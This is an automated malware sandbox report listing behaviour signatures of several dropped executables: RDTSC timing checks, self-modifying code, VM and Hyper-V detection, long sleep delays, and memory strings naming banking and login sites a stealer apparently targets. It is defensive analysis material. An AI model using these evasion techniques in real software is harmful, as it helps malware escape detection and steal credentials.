Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 46073E second address: 46076F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F76D8D60506h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push eax 0x0000000e jbe 00007F76D8D60508h 0x00000014 pushad 0x00000015 jmp 00007F76D8D60512h 0x0000001a jbe 00007F76D8D60506h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 460A3D second address: 460A41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 460A41 second address: 460A6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D8D6050Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F76D8D60512h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 460A6A second address: 460A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 460A72 second address: 460AA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F76D8D6050Eh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F76D8D60514h 0x00000013 jno 00007F76D8D6050Ah 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 460AA6 second address: 460ABD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F76D9274FF6h 0x00000009 jc 00007F76D9274FF6h 0x0000000f jg 00007F76D9274FF6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 461041 second address: 461054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jns 00007F76D8D6050Ch 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 461054 second address: 461059 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 458DB1 second address: 458DE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F76D8D60516h 0x0000000b popad 0x0000000c jmp 00007F76D8D60513h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 458DE1 second address: 458DF1 instructions: 0x00000000 rdtsc 0x00000002 js 00007F76D9275002h 0x00000008 jnl 00007F76D9274FF6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	RDTSC instruction interceptor: First address: 461725 second address: 46172F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F76D8D60506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 120C418 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 121C643 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Special instruction interceptor: First address: 2CDE26 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Special instruction interceptor: First address: 494723 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Special instruction interceptor: First address: 46EFC1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Special instruction interceptor: First address: 2CDD51 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Special instruction interceptor: First address: 7BED9A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Special instruction interceptor: First address: 4FE6C4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Special instruction interceptor: First address: 96F74A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Special instruction interceptor: First address: 9F7582 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 53ED9A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6EF74A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 777582 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Special instruction interceptor: First address: 2D5D83 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Special instruction interceptor: First address: A8C418 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Special instruction interceptor: First address: A9C643 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Special instruction interceptor: First address: FBD860 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Special instruction interceptor: First address: 1162988 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Special instruction interceptor: First address: 11F47B9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Special instruction interceptor: First address: DEDE26 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Special instruction interceptor: First address: FB4723 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Special instruction interceptor: First address: F8EFC1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Special instruction interceptor: First address: DEDD51 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Special instruction interceptor: First address: 101E6C4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	Special instruction interceptor: First address: 1FED9A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	Special instruction interceptor: First address: 3AF74A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	Special instruction interceptor: First address: 437582 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Special instruction interceptor: First address: C5DE26 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Special instruction interceptor: First address: E24723 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Special instruction interceptor: First address: DFEFC1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Special instruction interceptor: First address: C5DD51 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Special instruction interceptor: First address: 8BED9A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Special instruction interceptor: First address: A6F74A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Special instruction interceptor: First address: AF7582 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Special instruction interceptor: First address: E8E6C4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Special instruction interceptor: First address: C65D83 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Special instruction interceptor: First address: DF5D83 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Memory allocated: 49B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Memory allocated: 4C10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Memory allocated: 6C10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Memory allocated: 5040000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Memory allocated: 52E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Memory allocated: 72E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Memory allocated: 4FB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Memory allocated: 51D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Memory allocated: 4FB0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe

Code function: 3_2_00442177 rdtsc

3_2_00442177

Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 2604	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 2805	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 2793	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Window / User API: threadDelayed 445

Source: C:\Users\user\Desktop\file.exe TID: 6172	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe TID: 5228	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5344	Thread sleep count: 69 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5344	Thread sleep time: -138069s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4476	Thread sleep count: 73 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4476	Thread sleep time: -146073s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2460	Thread sleep count: 332 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2460	Thread sleep time: -9960000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4708	Thread sleep count: 64 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4708	Thread sleep time: -128064s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6020	Thread sleep count: 2604 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6020	Thread sleep time: -5210604s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3224	Thread sleep count: 65 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3224	Thread sleep time: -130065s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5248	Thread sleep count: 2805 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5248	Thread sleep time: -5612805s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5572	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2408	Thread sleep count: 2793 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2408	Thread sleep time: -5588793s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2408	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5248	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe TID: 1576	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe TID: 3292	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe TID: 1984	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe TID: 2292	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe TID: 5804	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe TID: 4432	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe TID: 5812	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe TID: 2216	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe TID: 5608	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Thread delayed: delay time: 922337203685477

Source: num.exe, 00000024.00000002.3084290708.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0r
Source: firefox.exe, 0000001C.00000002.2997654376.0000016C6FDAA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWz
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: 996773cd54.exe, 0000000A.00000002.2813065067.0000000000A67000.00000004.00000020.00020000.00000000.sdmp, 996773cd54.exe, 0000000A.00000002.2813065067.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2999480700.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2973927647.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2979596133.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2958108070.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2933392825.0000000001064000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2876974078.0000000000CF0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3009366303.0000016C70740000.00000004.00000020.00020000.00000000.sdmp, 996773cd54.exe, 0000001D.00000002.3000201409.00000000006EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 00000019.00000002.3015823343.0000025E7C9C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3007808138.0000016C70317000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 996773cd54.exe, 0000001D.00000002.3000201409.000000000067B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware3
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: num.exe, 00000024.00000002.3084290708.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWeg
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: firefox.exe, 00000019.00000002.3011428041.0000025E72C70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW^<
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: firefox.exe, 0000001C.00000002.3009366303.0000016C70740000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW"{Z:
Source: num.exe, 00000024.00000002.3084290708.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: firefox.exe, 0000001E.00000002.3004734211.000001CB32300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllF
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: num.exe, 0000001A.00000002.2876974078.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8F
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: skotes.exe, skotes.exe, 00000006.00000002.2366078572.00000000006C8000.00000040.00000001.01000000.0000000B.sdmp, 996773cd54.exe, 0000000A.00000002.2820727012.0000000001140000.00000040.00000001.01000000.0000000E.sdmp, 996773cd54.exe, 0000001D.00000002.3007190429.0000000001140000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: R4UI5PZ4W045Z6XA.exe, 00000004.00000003.2296782512.0000000001630000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: firefox.exe, 00000019.00000002.3011428041.0000025E72C70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: num.exe, 0000001A.00000002.2876974078.0000000000C8E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarez
Source: firefox.exe, 0000001C.00000002.3009366303.0000016C70740000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllJz
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: firefox.exe, 0000001C.00000002.2997654376.0000016C6FDAA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@(
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: firefox.exe, 00000019.00000002.3011428041.0000025E72CB2000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2997654376.0000016C6FDAA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3009366303.0000016C70740000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3004734211.000001CB32300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 996773cd54.exe, 0000001D.00000002.3000201409.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh#o%SystemRoot%\system32\mswsock.dll
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 996773cd54.exe, 0000000A.00000002.2813065067.0000000000A35000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
